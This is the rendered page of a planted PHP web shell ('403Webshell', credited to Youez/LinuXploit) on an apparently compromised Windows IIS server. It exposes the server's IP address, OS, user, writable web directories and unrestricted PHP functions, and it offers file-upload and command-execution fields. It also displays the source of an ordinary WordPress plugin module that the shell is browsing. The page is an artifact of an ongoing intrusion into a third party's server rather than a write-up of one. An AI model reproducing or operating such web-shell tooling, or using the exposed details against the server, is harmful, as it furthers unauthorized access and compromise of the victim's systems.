403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/YTLStockManagement/wp-content/plugins/angie/modules/super-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/YTLStockManagement/wp-content/plugins/angie/modules/super-admin/module.php
<?php
namespace Angie\Modules\SuperAdmin;

use Angie\Classes\Module_Base;
use Angie\Modules\SuperAdmin\Classes\Rest_Api_Controller;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class Module extends Module_Base {

	const FEATURE_FLAG_OPTION = 'angie_super_admin_enabled';

	public function get_name(): string {
		return 'super-admin';
	}

	public function __construct() {
		add_action( 'rest_api_init', [ $this, 'register_rest_routes' ] );
		add_filter( 'angie_config', [ $this, 'inject_exec_nonce' ] );
	}

	public function inject_exec_nonce( array $config ): array {
		$is_enabled = self::is_enabled() && self::current_user_can_use();
		$config['superAdmin'] = [
			'enabled' => $is_enabled,
			'execNonce' => $is_enabled ? Classes\Execution_Token::generate() : null,
		];
		return $config;
	}

	public function register_rest_routes() {
		( new Rest_Api_Controller() )->register_routes();
	}

	public static function is_active(): bool {
		return true;
	}

	public static function is_enabled(): bool {
		return (bool) get_option( self::FEATURE_FLAG_OPTION, false );
	}

	/**
	 * Whether an admin has explicitly set the option (Active or Disabled).
	 * Returns false on fresh installs where the row doesn't exist yet.
	 */
	public static function has_explicit_setting(): bool {
		$value = get_option( self::FEATURE_FLAG_OPTION, null );

		return null !== $value;
	}

	public static function current_user_can_use(): bool {
		if ( is_multisite() ) {
			return current_user_can( 'manage_network_options' );
		}
		return current_user_can( 'manage_options' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit